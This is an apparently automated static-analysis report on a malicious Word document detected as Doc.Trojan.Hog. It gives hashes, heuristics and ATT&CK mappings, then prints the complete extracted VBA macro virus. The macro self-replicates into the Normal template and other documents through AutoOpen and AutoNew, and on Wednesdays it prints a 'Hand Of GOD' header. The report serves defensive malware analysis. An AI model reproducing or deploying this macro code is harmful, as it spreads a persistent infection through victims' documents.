Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46684e4d5c3315be…

MALICIOUS

Office (OLE)

43.5 KB Created: 2002-09-13 03:02:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: fecaabaff9bd172bec4eda8ad74be007 SHA-1: d050240fffcc0bd46ba19ad2136c26cd5fd156ba SHA-256: 46684e4d5c3315bebed5ed7dbaac50fd779df6df9e209015cdee535947ff8251
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro, which is a common indicator for malicious documents. The script attempts to copy its macros to the Normal template and the active document, suggesting an intent to establish persistence. The ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Hog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hog-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3084 bytes
SHA-256: 83aab029a44a2c01e0c695e52c375afd0222baed2239506939734be9decab845
Detection
ClamAV: Doc.Trojan.Hog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)


Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
    
    If WeekDay(Now()) = vbWednesday Then
        With ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range
            .Font.Size = 12
            .ParagraphFormat.Alignment = wdAlignParagraphCenter
            .Text = "Hand Of GOD"
        End With
        ActiveDocument.PrintOut
    End If
    
cnt = WordBasic.countmacros(0)
    
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"

 mac$ = MacroContainer.Path
    mac$ = mac$ & "\" & MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Path
    doc$ = doc$ & "\" & ActiveDocument.Name
    
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
        
    
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    
    ActiveDocument.Save
End Sub

Attribute VB_Name = "AutoNew"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)



Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
  
    mac$ = MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Name
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    NormalTemplate.Save

End Sub

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